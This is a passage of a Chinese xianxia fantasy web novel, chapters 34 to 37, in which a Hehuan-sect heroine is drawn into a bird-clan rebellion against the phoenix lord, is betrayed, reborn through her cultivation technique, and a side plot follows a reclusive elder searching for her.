“姑娘真是……”黎耀长吸口气，保持眯眼笑容，“好一张利嘴。不知道三不沾的姑娘怎么惹到十方山寺出动千人数的和尚围在我羽民国的边境。”
荇菜终于笑不出来，僵张脸：不就是惊雷带十几个和尚吗？怎么出动千人这么夸张？
34. 第 34 章
“除开这群高昌国的和尚，姑娘好像还惹不少大人物。”黎耀收翅落地，高扬脖颈，一副稳占上风的神态，像一只斗胜的大鹅，张开大大的白色翅膀，准备绕场一圈。
“青虞剑尊九阳，三生道法尊道生花，山泽皇室太子崔洧也派出高手，皆在往这里赶来的路上。姑娘到底是什么人，能够惊动这么多的大人物。”
荇菜垂目镇定的双手，脑海里明明绷起一根紧张的弦，依旧不紧不慢道：“自然是因为姑娘我……天姿国色，连出家人都为之动容。”
【比水仙是吧？禾诗逸第一，我敢居第二，其他人靠边。】
她想起与道生花的约定：变态恐怕已经气炸，无聊得在全世界找茬。以他的狗鼻子，会是这些人里第一个找到自己。
黎耀被噎住，羽族大多自恋，妖族以幻化成人后容貌胜过人类而自骄。
“呵，姑娘真是好本事。我有一桩交易，若姑娘敢做，送姑娘平安离开羽民国，到任何你想去的地方。”
“这一路上，我做的交易不少，有赚有赔。得，先说说你的交易内容。”
“羽族皇室至尊凤武正在阳梧山涅槃。请姑娘上山探个究竟。”
荇菜凝眉：果然是危险的事。
“探什么呀？”
“探祂涅槃后法身是男是女。若姑娘探出真相，黎耀对天发誓，定送姑娘平安离开羽民国，毫发无损。”
荇菜震惊：这算什么交易？而且，这货在挖语言陷阱。
第一次交锋引出交易的内容，说得是送你到任何想去的地方。
第二次交涉定下交易内容，说得又是离开羽民国、外带毫发无损。
【离开羽民国境后岂不是自生自灭？】
“长得白、心却黑得很！”还是一只野心勃勃想要推翻凤族皇室的“大白鹅。”
“姑娘说笑。请问考虑好吗？时间很紧。”黎耀催促道。
荇菜露出八颗白牙，拍手道：“阳梧山，凤凰涅槃地，一般人不能随意去吧？”
“羽族星官可以送姑娘进阳梧山的入口，之后的路，姑娘自行上去。”黎耀笑眯眯道，“合欢妖女岂能没这点本事。”
荇菜呵了声，扮张感激脸：“多谢你看得起啊。但是，我不同意。”前有狼后有虎，凤凰涅槃就没危险？说不定比和尚们更可怕。
黎耀的笑容皴裂，眯起眸、挂上僵硬的笑唇：“姑娘确定？羽弃城外离开羽民国的路有三条，每一条都有你的敌人。除非你有权势大到能带你突破重围的裙下臣，否则插翅难逃。”
荇菜背手在后，赶往羽弃城的城门。
她头也不回道：“我不同你交易。我就留在羽弃城等他们。长得白、脑子也白，讨厌羽弃城的人有胆进城抓我吗？”
荇菜赌黎耀不敢进城。
羽族对羽弃城压迫近千年，骄傲自美的羽族不会让他们雪白的翅膀沾染黑色，大白鹅假面人在城门口呼吸都嫌脏，一直在城外徘徊不入就是答案。
荇菜踏进城门，被突然蹦出来的两名戴金丝猴面具的黑羽族拽走。
“姑娘好本事，娶我黑玲玲，我们全家保你。”
“不不不……姑娘嫁给我黑丘丘，我带姑娘遁出羽民国。”
……
【你们不是兄弟都没人信。不过，信息量好大，竟然有盖世太保、遁地逃逸的法子？果然高手都在民间。】
荇菜望向三条大街上闻声而来的黑羽族族民，大喊一声：“飞机。”
趁黑羽精们仰头，荇菜飞也似飘回客栈，夺门而入：“上房一间，必须免费入住。另外，不准让外面戴面具的黑羽族打扰我！！！！！”
“不戴面具的黑羽族都已经嫁人，不会凑姑娘这热闹。”掌柜推把黑狐面具，眉毛弯成新月状，眼白尤其像水煮蛋的蛋白。
“就凭姑娘在城门口为我们黑羽族发声，必须给你免费。请。”他亲自出柜领路：“姑娘，楼上请。黑不溜秋，听到没？快去堵门，姑娘进我家门啦。”
荇菜：……鸟的听觉、传信手法果然灵敏、高端。
黑不溜秋的小二哥一甩巾子，哎了声，拿出行军作战时用的铁蒺栅栏，横亘在门前，朝围起来的大伙说：“姑娘进我家门啦，散了吧散了吧。”
“切……”
“黑不溜秋，掌柜要招人吗，你看我行不行？”
“我我我……我可以……”
……
黑不溜秋：“去去去，哪轮得到你们献殷情，我还排着队呢。”
“你让我们领个号，等几天都行。”
“对对对，领号……”
……
客房里，荇菜看向一身漆黑不请自来的人，好笑说：“你没戴面具，已经嫁人？”
“在下不靠嫁人离开羽弃城，面具于我毫无意义。”
“名字？”荇菜颇有兴趣问。
“赤乌。姑娘能引动青虞剑尊追杀，十方山寺出动千人和尚，山泽太子的黑甲卫追来，不是凡人。”赤乌自顾坐下，倒一杯水喝。他与城中的大多数黑羽族不同，没有巴巴贴人的行为。
“当然不是凡人，我是修士。你找我不是来看我笑话吧？说吧，目的。”荇菜也大方落座，接过赤乌递来的茶盏，毫不怀疑地一口喝干。
赤乌对她生出丝欣赏：“姑娘是合欢宗人，行事作风却颇有几分武修豪情。我也有兴趣听听姑娘是怎么惹上这些人？”
“我也想知道，一身普通侠女装扮得我是怎么被你们认出合欢宗人？难道我脑门上刻‘合欢妖女’四字？”
“哈……咳，”赤乌重整面色，声线平稳道，“姑娘久在山门，见的人还是太少。普通凡人不敢进入羽弃城，排除姑娘是凡人，就是修士。
其次，八大宗门的修士如姑娘这般用脚行走，以你的行路姿态，直接排除你是十方山寺的出家人。
拘缨国天净宗擅长用符，出门在外多用仙鹤、符制飞行；
山泽青虞宗都是剑修，喜欢御剑飞行，彰显身份。
昆山国昆道宗的修士体型魁伟，多习锻体术；羽民国天羽宗全是妖族。
逍遥宗人
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不是俗到城门背柴、手执钓竿，就是仙到不下高山。
还有……”
“等等，”荇菜举手，“够了。我发现你……似乎从羽弃城外来。若你常年居住羽弃城，不可能连我在城外用什么赶路都知道。”
“姑娘聪明人。确实，从姑娘离开山泽，在西塔国边境徘徊，我就跟姑娘一路，甚至看到……”赤乌的目光下垂，落在荇菜翘起的二郎腿脚踝，“黑羽族人的精魄。”
荇菜撇眸，放下脚。她扬下颚道：“我看在黑羽的面上听你说明来意。”
赤乌含笑垂首：“姑娘精心保存黑羽族的精魄，对那位黑羽族的男子是真爱，我才找上门。姑娘觉得这几波人里谁会最先到这？”
荇菜注视赤乌，思量道：“三生道法尊，道生花。他是我见过最神出鬼没的修士。”
她被禾诗逸一掌送出青虞宗，逃到水边，下一秒就在道生花的小舟。这人也是最不好预测。
“好。”赤乌勾唇，露出一丝白色牙线。“我会引青虞宗的九阳剑尊入城，姑娘的作用是让他们打起来。”
“哈？鹬蚌相争渔翁得利？这两位是合体大能，若真打起来，说不定羽弃城就没……了。”荇菜回过味，“你打得就是这个目的？”
“不错。羽弃城的城墙有前任凤尊设置的囚徒禁术，黑羽族最年长者的妖族也不过化神修为，破不开囚徒禁制。若是法尊道生花和九阳剑尊合力轰击羽弃城的囚徒禁制，黑羽族将不再受困于城墙。”
明眸流转，荇菜来回踱步，好笑道：“恐怕困住黑羽族得不是禁术，而是羽族凤凰为尊的体制，这道城墙不过是形式。若是禁术可以阻止黑羽族离开，嫁人的黑羽族又怎么出城？你又是怎么出城？”
“姑娘洞若观火，委实不简单。我们的打算就是要毁掉这堵已经深入每位黑羽族人心里的墙。只有打破这堵墙，黑羽族才能真正走出去，而羽弃城的城墙只是形式。”
荇菜学那么多年历史，当然明白他们的想法。
“你完全可以控制我，再让道生花和九阳剑尊打起来，又同我说这么明白做什么？”
赤乌的眼神再次落在她的脚踝：“因为有一名黑羽族人曾经爱你，甘愿剖体取丹，自割一角作为法器护你灵魂。”
荇菜：……
“黑羽族的精魄可以保护他们的灵魂不被邪恶术法入侵。宗门修士审人常用搜魂禁术、追魂术等，有此精魄护身，姑娘都不必担心这些法术。”
荇菜一时无言，良久道：“为黑羽，我答应你。”
“姑娘大义，多谢姑娘。”赤乌单膝跪地，行礼道谢。这结果是他窥见城门交易不成后胆敢前来交涉的最好预期。
荇菜赶紧扶起他，答应完才知道这事不容易。若要道生花和九阳剑尊打起来，就得安抚道生花，而变态的情绪最难估测。
“你们没有考虑从羽族凤尊处下手解决问题吗？”
“姑娘真信黎耀说的话？凤尊只是因为羽翼上没有黑色而厌弃黑羽族吗？”
“……不是吗？”荇菜眨眼。
35. 第 35 章
“当然不是因为这么肤浅的原因。天下间黑色羽毛的鸟儿多得是，何止我们神乌后裔。
大陆上，凤尊是排名前十的高手，只因他——司火。
黑羽族除一身黑羽外，体内的精魄乃是储存神鸟金乌火种的容器。金乌之火为大日神火，凡人唤它：太阳，至刚至阳的天地第一火。姑娘明白了吗？”黎耀道。
荇菜被“太阳”两字硬控两秒，僵硬道：“你们……黑羽族的精魄里没有火呀。”
“是。但谁知道这枚精魄在某一天会不会再次长出火焰呢？”赤乌长叹口气，“权势地位是天下间最毒的东西。至尊凤凰也不例外。”
荇菜好大一个无语，不知该说什么。
她知道不少人是这样，为保地位，防患于未然，会对潜在危险先下手为强。但她不知道鸟也这样。仔细回想曾经看过的自然科学纪录片，鸟类当中也存在地位、求偶等争夺战。
所以，哪个生物又不这样呢？
“我们黑羽族没有太阳火种，只能龟缩一隅。若我们直接反抗羽族皇室，迎来得只会是凤尊更大的怒火。炙阳的涅槃火可以烧死任何一位没有太阳火种的黑羽族。”
荇菜望入赤乌出神的双瞳，从他漆黑的眸色里看到炙热燃烧的火焰，生出一抹同情：“若这世上有比凤凰烈焰更猛的火焰，必然是黑羽族人的复仇之火。”
赤乌的瞳孔收缩，眼芒微绽，颔首道：“姑娘真是解语花。我理解那位名唤黑羽的黑羽族为什么会爱上姑娘，为姑娘不惜牺牲。”
他轻舒口气，体会到一名女子的真心实意，也生出再去爱人的勇气。
荇菜：……不惜牺牲？哪来的消息？我是为脱身才答应同你合作。
赤乌走后，荇菜在房内左右徘徊，本是想入城找个飞天遁地的黑羽族帮忙离开，没想到等来赤乌这样的黑羽族人。
她砸脑子，看着水杯吐槽：脑子进水了才答应帮赤乌。道生花和九阳剑尊，哪一个好遥控了？
“真是好雅兴，死到临头还在这城里招蜂引蝶。”
“噗……咳咳……”荇菜被水呛到，抹嘴去看，果然死变态是第一个找上门。她望向坐在窗台边的道生花，搓把手，倒杯茶，送到他面前，“法尊，请用茶。”
道生花睨她，轻声哼笑：“为何不去桃花岛，你知道我为你能睡……杀九阳，费多大劲？”
荇菜放下茶盏，绕到他的后方，给他垂肩。
道生花僵硬地朝前挪，意识到这行为似乎是露怯，回靠椅背，接受她的垂肩。他感受后肩传来的力道，神思恍惚：这样本尊不就是原谅她了？做梦。
“法尊，你再帮我一次呗。这一次，我一定完成你布置的任务……”
“打住。”道生花撤肩起身，避开她的歉礼，“我以妖元控制青虞门人，耗九阳用半身灵力救人，你以为随时都有这种机会？”
“你和他修为相当，打一架不就掉他一半血槽。”
“血槽？”道生花旋化出一根骨笛，敲在荇菜的脑壳，好整以暇地审视道：“脸呢，你没脸见人？”
荇菜背过身去抹脸，咕哝：“你们怎么都能认出我是谁，这门功法的易容术太没用吧？”
“呵，要认出你不难。十方山寺用得是佛息追踪法，九阳剑尊用得是气息追踪，”道生花倾身，观赏她巧夺天工般的至臻脸蛋，嗅一口沁入心脾的莲香，满足地叹息，“你的功法出卖你。
你知道有一种花在最饱满时会变幻自己的气味，吸引蜜蜂就释放蜜蜂喜欢的气息，吸引蝴蝶就释放蝴蝶喜欢的芳香，吸引鸟雀就释放鸟雀喜爱的味道……因诱惑的对象不同而变幻不同的气息，而这本事取决于你的惑术想要对锁定的人做的事。
你锁定猎物，释放他们中意的味道，引诱他们前来，最终成为你肚腹里的猎物。你像一只不知餍足的饕餮，用你的美貌、气息、身段，乃至性情为餐具，用这……”他的目光落在嫣红如丝蕾的唇瓣，“一切进食。”
“……”荇菜被他说得莫名恐惧：神经病，你在说异形吗？
她低头嗅手臂、衣领、腋下，不解道，“没有味道啊。我没发现功法有这作用。”死变态就是神经病。
“呵……现在知道不迟。”道生花用骨笛勾起她的下颚，望入纯真无邪的美丽眼瞳，滑过的幽暗紫芒带过他心里渴望的道生圣莲，至纯至洁。
他自己也已成为她的猎物。
他松开荇菜，转身道，“成熟的花朵会释放香气，吸引它的猎物自投罗网。你现在就是一朵……”
道生花拍在额头，对上这女人，总是状况之外的多话。
荇菜不管他的纠结，又使劲闻一会，一惊一乍道：“成熟的花朵授粉后会凋零啊。我是不是也要死呀？不要啊。”
“……脑子呢？嗯？”道生花看她趁机飘出窗台，眯眸冷笑，“呵，装疯卖傻想逃，也要你走得出这座囚笼。”
荇菜飘上对面的屋顶，被戴上面具的赤乌抱飞向高空。两人去得正是九阳剑尊被引入城的方向。
“救命，救命啊……放下我。我不嫁黑羽族，救命啊……”
九阳剑尊凝眸注视半空与羽族争执、挣扎的女子，见她垂直下落，瞬移上前，一把抱住荇菜。
他闻到扑鼻而来的满满石兰香，忽视她的清雅容貌，期待从她的眼中再证心魔生出的至强剑道。
“师伯，是你？师伯救我。我不要被抓去嫁给黑羽族。”荇菜紧紧地揽住九阳的脖颈，靠在他坚硬至极的胸膛：修为高的人果然不易动心，毫无心跳紊乱感。
九阳剑尊回神：这张脸是她本来的面目吗？
“别抱太紧，不舒服。”
荇菜：……
道生花站在暗中准备离开，被眼尖的荇菜发现。
她喊道：“法尊，你不要抓我，我死也不会帮你做事，更不会害阿逸的师伯。”
九阳剑尊的灵识锁定即将逃离的道生花，侧眸望去：“三生道妖魔，何敢再逃？”<
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p>道生花本可以挣脱锁定逃走，瞥见荇菜偷笑的脸就改注意。
同为猎物，不如先让这九阳剑尊上路。
“既然你这么喜欢玩，本尊陪你玩这一出戏。”他凝眸射向九阳剑尊，周身灵力一放，击退对方的灵识威压。
荇菜拍在九阳剑尊的胸口，被九阳剑尊揽抱在身侧。
她诧异道：“阿逸师伯，快松手。我自行下去。”
九阳剑尊愣顿，诧异地看向没有松开的手。这时候已经没有时间纠结为什么，道生花的一击破天刀从高空劈砍而下。
九阳剑尊旋手一推，送荇菜远离战场，旋剑接下猛烈的刀术。
大能的灵能互相暴击，排山倒海的力量轰向四周，激发羽弃城上空的囚徒禁制。
荇菜被赤乌展翅护在身后，轻声道：“成了吗？”
“成了。”赤乌激动地说，又有些吃味，“荇姑娘真是好大的魅力，让两大高手以最强力量交战。”这张脸真得是越看越喜欢、越看越想摸一摸，最好是藏起来。
荇菜没空搭理他，而且敏锐地感觉到他的气机变化，说句此地危险，又往后飘数丈远。
城门失火殃及池鱼。
她不想被两位合体期修士的灵力余威波及，远远地观战：“你说他们真能打破羽弃城上空的囚徒禁制，那羽弃城周围的城墙怎么办？”
赤乌紧紧地追随她，偶尔瞥眼争斗的两方，听到此问才想起朝远处鸣叫几声：“我已经给他们传信，那些同我一样想法的同族已经在行动。”
荇菜默默地点头，又远离赤乌几步，被一股突然袭来的强大灵能冲击地倒飞出去。
赤乌刚出手，却也自身难保，被刀锋的余威力量轰得飞向半空，别说下方的羽弃城城民的房屋。
刀剑碰撞的巨大威力如同炸弹爆炸后产生的冲击波，摧枯拉朽地轰塌小半座城。
荇菜试图从废墟里爬起来，眼前发黑、不辨事物，两耳嗡嗡作响，像是有大鼓在耳边不断地敲击。
羽弃城的孩子哭声断续入耳，有金戈利器的交接声，还有和尚念经的低吟声……
“谁，谁在这？”
“她就是太子要的人，我来挡住这大和尚，你把人带回去交给太子。”黑甲卫的首领快口道。
转瞬的功夫，荇菜又被人劫持。她拍打箍在腰上的手臂，被人带飞而起，从破碎发糊的视线里看到羽弃城的上空浮现赤金色的阵法纹路，在刀、剑力量的撞击下渐趋出现裂纹。
囚徒禁制显现，在大能交战产生的力量波及下，出现破裂的趋势。
同赤乌一起行动的黑羽族人拦在屋顶，阻止山泽太子崔洧派出的黑甲卫带走荇菜。
“拦下他，荇姑娘是我们的恩人。”
荇菜感觉被人抛在半空，趁机用如梦烟的身法从几人的围困中穿过去。
羽弃城上空的阵法彻底破碎，如晶莹的花瓣，一片片地掉落，在半空消散，像是那些分身男人在释放后如烟花般消失。
36. 第 36 章
荇菜眼前的景象逐渐清晰，铺天盖地的黑羽族从废墟上振翅而起，携老带幼向坍塌的城墙外飞去，入耳的嘈杂不仅有哭泣、哀嚎，还有振翅高飞的扑棱，以及“为了自由，杀向阳梧山”的呐喊。
她被飞在空中的黑羽族拌了下，往下跌落。
惊雷的钵大如圆床，旋飞到荇菜的下方，准备坐收渔利，收了她。
荇菜在半空吓出冷汗，被脸戴黑狐面具的掌柜迅捷提起。她箍住掌柜的脖子，看清他身后巨大的黑色羽翼，惊魂未定地喘息。
“姑娘，又见面了。抱紧了，我让你见识羽族真正的飞行速度。哈哈哈哈……”掌柜放声大笑，一舒千年来被困的郁气。
雄鹰划破长空只要振翅。黑羽族人飞向阳梧山不仅用振翅，还用黑羽族人以精魄构建的空间阵法开路。
地面上，愤怒的惊雷被黑甲卫阻拦，摆脱黑甲卫后又被留下的数名黑羽族绊住。号称千人的和尚队伍，九成人在帮助受困的普通黑羽族人脱离灾难，此时此刻，没有人帮他拦下妖女。
空间穿越后，荇菜大松口气的同时拍打掌柜：“你放开我，我不去阳梧山。”
“荇姑娘，现在放你下去，有些人更不会放过你。大星官黎耀会把你的事迹记录，连同你一起交给天龙道。天龙道会下发全大陆通缉令，捉你归案。
若我们不去阳梧山杀死凤尊，整个黑羽族就没有权势为你作保，你有能力活过他们的讨伐吗？或者，你准备像黑羽族一样蜗居一隅，受困千年？”
掌柜把愣怔的人往怀里一拢，带头向附近的阳梧山飞去。
若赤乌是反叛者派出同荇菜谈判的黑羽族，掌柜狐羽就是这一切计划的真正谋划者。
荇菜没想到接下来的麻烦有这么大。对凤族皇室的仇恨已经根植进黑羽族的骨血，不死不休。
她的目光穿过掌柜的黑色大翅，望向远方高空汇集的阴云波浪。
那两个家伙还没打完吧，这就是大能的战斗，余威可毁一座城。
阳梧山的结界入口，黎耀带领一帮白色翅膀的“天使”拦路。
他们在半空列阵，身穿白金铠甲，手执纯白长弓，一副蓄势待战的气势。
狐羽高声喊：“黑羽族的族民们，惧怕我们的懦弱凤凰就在前面，这是我们杀死他的唯一机会。解放黑羽族，杀死凤武。冲啊。”
黎耀冷冷地朝凤王的亲卫队喊：“放箭。”
【天啊。】荇菜闷声窝在狐羽的怀里，感受大风刮过头顶，长箭呼啸而来的破风声，已经彻底摆烂：死吧死吧，死回去也是好姑娘。
黑羽族们如梭一般穿过箭雨，用他们强悍的体魄、手中的精魄或杀死或吸取“天使们”的灵魂，扇他们落地，用黑色利爪剖取敌人的心脏。
狐羽带着荇菜突破重围，顺利穿过结界进入阳梧山。
荇菜感觉温湿度的变化，抬眸发现结界外冷眼旁观的黎耀，以及他身后另一支穿戴红色铠甲的整齐军队。这支羽族军队在黎耀的指挥下同天使般的亲卫队发生战斗。
荇菜诧异道：“他……自己人打自己人？你……不会联合大星官黎耀吧？他在借你的刀杀人，铲除异己？”
狐羽赞赏地看向怀里的女人，目视前方至高的梧桐大树：“我们黑羽族要复仇，他们白尾青鸾要为灭族的红鸾讨公道，目标一致就能合作。”
“我一直把他当作只大白鹅。不对，那样你还让那么多的黑羽族为你开路？”荇菜看向他黑硬的下颚，突然就笑了：到底是为自由还是为权势？
狐羽勾唇，飞在华茂如擎天巨伞的梧桐上方：“总要做些假象，杀些不服者，再留些后人。若是失败，还有后继者。荇姑娘，感谢你的一路配合，目的地已到，走好。”
“什么？”荇菜直直往下坠落，惊讶地看向上方越来越远的黑狐面具，与那双含笑的黑色眼珠相撞、远离……原来一切都是阴谋！
羽弃城的城门外，黎耀配合这些黑羽族上演一出诱人上钩的把戏。
“嗖嗖嗖……”荇菜穿过宽大如被的梧桐叶，砸在柔软的羽翼上，又滚进一处滚烫的怀抱。
她看向如金红火圈的重瞳眼眸，愣怔地道：“你……好……”
“嗤……”凤武站起身，魁伟如雕棱玉璧的赤体身材直戳在荇菜的面上。
他仰首看向上方的密叶，眸光穿过梧桐树枝，直视浑身漆黑的狐羽，“肮脏的东西也敢入本尊的地界，滚出去。”
冲天而起的火焰喷薄而上，炙热焚灭一切所遇之物。
狐羽飞离凤凰烈焰的范围，摘下面上的黑狐面具，抹去涂在唇上的黑色汁液。
肤白貌美的他含笑注视燃烧起来的梧桐树：“凤尊，连你栖居的梧桐树都烧起来，无法掌控你的烈焰了？哈哈哈……死吧。”
狐羽看向排列在半空的无数精魄，以灵力引出无数藏在精魄里的红鸾灵魂、黑羽族的灵魂……他们从精魄里飞出来，结成烈焰火阵，以火焚火的方法，围轰向燃烧的梧桐木，攻击火焰里法体不稳的凤武。
荇菜已经快被烧死了，头发没了，美貌没了，欺霜赛雪的肌肤没了……整个人都在熔化……
《玉石还阳功》依旧在运转。荇菜无法形容现在的痛苦，但保留一道执着的意念：报仇。该死的黑羽族背叛了她，她要报仇！
火焰轰击火焰，燃烧阳梧山上的一切。
狐羽和黎耀汇合，冷眼注视被烈焰掩盖的阳梧山。
火焰里，凤武捂着心口的凤凰火种，诧异地看向火焰当中没被烧化的搏动心脏。护住心脏外围得是一枚晶莹精魄，内围产生水系灵力得是水幻蜃珠。两个法宝以内外交互的方式保护住当中的血红心脏。
“神乌精魄，鲛人内丹……水？”凤武仰面四周围过来的火焰，修为不稳的凤凰火焰在此时不是无敌的存在。
无数燃烧灵魂产生的红鸾火和黑羽族燃烧灵魂的魂火攻击而下，凤凰烈焰被攻击地后退、缩小。
他很快要败。
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凤武咬牙，灭火的最好办法就是水。
鲛人的内丹是最好的水法容器。他伸手抓住蜃珠，被一股意念吸入蜃珠，消失在漫天烈焰当中。
灵魂状态的荇菜双眸喷火，引《还阳功》第一篇第四章：夺天地自然之气，道转阴阳。引渡火焰灵力汇聚成烈焰人形，《还阳功》第一篇第五章：盘古化万，灵塑神人。以乾坤造化之术塑生灵，聚血肉。
荇菜的灵魂本能就知道夺取凤武的五色翎羽，作为新身体的骨基。蜃珠洞府的空间法则压制着凤武，令他做不出任何反抗。
又以凤武的精血铸就全新的法体经脉和血液，以万年冰川之心为表肌固肤。
《还阳功》第一篇，五章法门全力运转，天地之气凝结入荇菜的全新法体，形成完完整整的人形模样。
蜃珠洞府内的凤武高悬在半空，血液和羽翼源源不断向外流去。
他被强行消耗，就连脊柱凤骨都去了三成，千年修练来的根基灵力成为荇菜新法体的力量源泉。
当一切结束的时候，凤武直直地坠落在冰面，蜷缩跪服，宛若一只垂死挣扎的弱小无毛鸡仔。
若非他本身的根基还在，不然早就散灵消失。重瞳冒火，试图仰面反抗，却被四周的万年冰山的寒气镇压地爬不起来。蜃珠洞府形成天然的封克法印，完全压制他的火法。
“黑羽，你说黑羽族是神乌后裔，精魄里没有了火焰，就不算神乌。”荇菜在烈焰里大声道，“我以这漫天繁花烈焰为你点燃精魄，成就真正的神乌后裔。你可能看到……啊？”
荇菜的灵魂融入新的凤族法体，环顾铺天盖地的熊熊烈焰，坚定心志运转《还阳功》的功法篇。
“大道生津，润泽万法，归宗于妙。取。”
旋手法印，引四周火焰尽数吸入黑羽的精魄，点燃数万年来神乌被天神剥夺的火种之心。
火焰包围荇菜，融合成一团，像是猛火在萃取瓷器的精华，结成一枚完美的火茧。
*
阳梧山燃烧整整一月余，火焰消失后余下一片焦土。狐羽和黎耀搜寻整座阳梧山，寻不到一根凤族羽毛，也没有一点凤武残迹。
黎耀朝狐羽道：“按约定，你们要接受青鸾羽族的管理。本尊会帮你们重建黑羽城，但不会再管制你们的自由、婚嫁诸事。”
狐羽颔首，蹙眉道：“你不觉得奇怪吗？凤凰浴火不死，再怎么都会留下痕迹，还有那个合欢宗女人……”
“漫山遍野的焦土，无数的红鸾魂魄、黑羽族精魄灵魂的消失，这些不都是看不见的痕迹吗？两族联手焚烧的烈焰，至尊至强的仇恨魂火，怎么可能杀不死境界不稳的凤武？他刚涅槃，根本发挥不出至强时期的能力。”
黎耀自信道，“黑羽族脱离神乌太久，已经对自身烈焰没有自信。我们白尾青鸾属于青鸾后裔，生来带火，对自己的火有足够的信心。”
黎耀出掌，看向掌心白焰，握拳灭火后含笑离去。
37. 第 37 章
无人的阳梧山上遍布焦土，寂静如死亡地狱。
一颗黑不溜秋的蛋钻出黑色的石缝，咕噜噜地滚下山坡，砸在黑色的礁石上。她没有碎，又嗦嗦嗦地滑到悬崖边，摇摆几下堪堪稳住。一阵风打来，蛋被吹地砸下矮崖，落进深坑。
几经翻滚，蛋都没能逃出坑。歇气得她权当自己是块石头，窝在坑里躺平。
数日后，从未下过雨的阳梧山迎来狂风暴雨，黑灰色的泥浆汩汩往山下淌，汇入羽民国的鹬川江。
大雨把黑蛋待的坑填满，黑色的蛋挣扎着浮上黑水面，顺黑色的泥水如坐滑梯似一直溜溜溜……入了鹬川江。
蛋顺大江的水浪浮摆。追浪的鱼儿使劲地啄她，鱼唇破了都没能啄开就食。
翱翔的鸟雀抓起蛋，感应一番又扔回鹬川江。黑蛋一直漂浮着，随水浪汇入山泽国的汪洋大川。
她飘飘荡荡、沉沉浮浮，搁浅在一处无人的河滩。
十年过去，合欢妖女引动大陆五国纷乱的传奇故事还在民间流传。
十方山寺出动千人僧众寻找妖女；青虞、三生两派大能在羽民国上空为争抢她交战至下落不明；合欢妖女挑拨离间引发羽族青鸾和黑羽族内战，惊动阳梧山凤尊大火焚山后失踪。
以合欢妖女为主角的话本故事出一折又一本，比起《太仲》一书的畅销程度有过之无不及。
*
合欢宗花涟长老在莲花峰上纠结十年，终于准备下山。他拜托拘缨国天净宗的好友观云婴卜算金莲的去向。
观云婴再三传信声明：近来对她的卜算结果有变，你不下山，我不能告知你卜算结果。
花涟是修真界出名的死宅，合欢宗里不行采补之道晋升修为的修士，恨娶到被退婚、骗婚、逃婚三十多次的社恐奇葩男人。
他在纠结多年后终于下山了。
花涟为娶妻子，用多种手法。
例如：拜托峰上的赖管事下山说媒，说得是良家女子。谈不成有十五次，女方家以合欢宗没有洁身自好的男人为由拒绝他。
管事帮忙说成亲事有十次，当中五次的新娘进管事的后院，最好得一次是姑娘上花轿，却跳河逃走。
花涟宅太久，知道管事有问题，但他需要有人处理峰上对外的事情，不仅原谅管事，还让管事继续帮忙说媒。
其余四次是被骗婚。
玉华镇上因此多出项奇葩业务，莲花峰的管事帮忙说亲，从花涟那拿到彩礼。姑娘的爹娘同管事合谋，答应把女儿嫁入莲花峰，中途姑娘逃亲，双方可以赚一半的彩礼钱。
这类事发生多次，被人传成：合欢宗的莲花峰上有个老男人，长的奇丑无比，隔三差五就想娶老婆，却怎么娶都不成，女子还没见到他就想逃，可想而知那人有多恐怖，说不定还克妻。
后来，莲花峰的管事也出名。赖管事仗合欢宗长老撑腰，欺男霸女，好不要脸。
玉华镇及附近城镇的良家百姓没人再理睬莲花峰的求亲，而专门以骗钱讨生活的骗子除外。
此外，花涟试过亲自养媳妇。
头一次养得是金花。宗里的弟子们听说后明里暗里骂他是变态，恋娃……
花涟也要面子，听赖管事的话，为避嫌就真把金花当徒弟教养，按徒弟的意思传授合欢功法。
金花不像花涟这么宅，喜欢往外跑，成合欢宗随大流的弟子。
如今她改名换姓成为瑶姬，走上一条全新的修真道路。
第二次养媳妇是因为欢喜峰的贺喜长老为花涟送去个女娃。
贺喜说：“这一次吸取上次的教训，长大后，她就是你的媳妇。”
花涟把懵懂无知的女孩带入莲花殿，一养就是十几年。为避免前次的流言，他真就没见过女娃一面，只吩咐金花看顾小姑娘，赖管事给她送衣食。
十多年后，贺喜又说：“女孩子到年纪要有人教她男女性别的概念。不然，她都不知道女人是什么、男人是什么，嫁人又是怎么回事。这孩子是个孤儿，教养的事就落在你这未来夫君的身上。不然，我找个女长老帮你？门中的女长老哪个不是三夫四侍，你放心让她们教？你就说你的大弟子，以她这情况，你放心让她教？”
花涟思量再三，趁女孩睡着时，以神识传功的法门传输一套辨认男女性别的《欢情诀》。
教完后没过几天，女娃跑得不见人影。这女娃就是金莲。
磨蹭十年后决心下山的花涟锦衣夜行，就没碰上一个山外的活人。
他的目的地是天净宗，找好友观云婴，请他告知对金莲的最新卜算结果。
深夜里，观云婴见到做贼似前来的好友，笑得前瞻后仰，眼泪都笑出来：“哈哈……你真得是逗笑我。老友啊，我非得你亲自来才告诉你，除卜算的结果不好外也想你多出来走走。
你待在莲花峰上怎么能娶到合适的老婆呢？”
花涟面无表情：“我出来也不见人。”
观云婴服气，朝他竖起大拇指：“你在这个时间到访，我知道是白费力气了。你的死宅性子到死都改不了。
坏消息，你的徒弟已经不在人世。
好消息，你的缘就是劫，成亲即丧礼。我想亲自告诉你、提醒你想清楚娶妻的事。”
花涟听到前句，有些伤情失意：“我猜到了。她……怎么死？我想为她报仇。”
“不错啊。怎么死么？”观云婴笑道，“你说你的大弟子也失踪，管事看到大弟子和小弟子一起下山，你得先找出大弟子，就知道小弟子的去向，甚至知道她的死因。下了山，你就在山外找嘛。”
“金莲不是我的弟子。”花涟更正道。
“……养女？”
花涟偏白的脸色润些血气，哆嗦唇瓣：“不是。”
观云婴拍他肩头，被躲开，翻起白眼：“非师徒、非父女，没定亲成婚、非夫妻……无关紧要的人啊。”
“不是。”花涟说不清两人到底是什么关系，就是感觉对金莲有些责任。
“花涟啊，你是修士。先不说修士寡情，你也没必要守着个数百年前的约定，非得找人成亲，还尽找些良家女子的凡人。”观云婴知道花涟的生平。
花涟在入合欢宗前是个穷小子。他的老母亲在临死前说：“鱼儿，娘亲没
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机会看到你成亲。等你长大后，一定要娶一个身家干净聪慧的好女子，带她来坟前给娘看看啊。”
老母亲临死前的要求成为困住花涟破境化神的心魔。
花涟提前拿到观云婴赠的成亲贺礼，一道请天地命契的法符，说是来日有用。
他趁夜色离开拘缨国，归途中心念身动，停在汪洋水泽乡的一处无人岛屿，面对无边的汪洋大川出神。
逝去的母亲是花涟幼时难得的温暖。他被收养至六七岁，再穷再苦母亲也没饿他一顿。
母亲离世，他入合欢宗，寻门里无人要的功法专心修炼，没再出过门。
寒来暑往，花涟忘记怎么同人交流，修为升到元婴而被广为宣传。
一个没有下山历练或采补的修士修到元婴，这是让人难以置信的事。
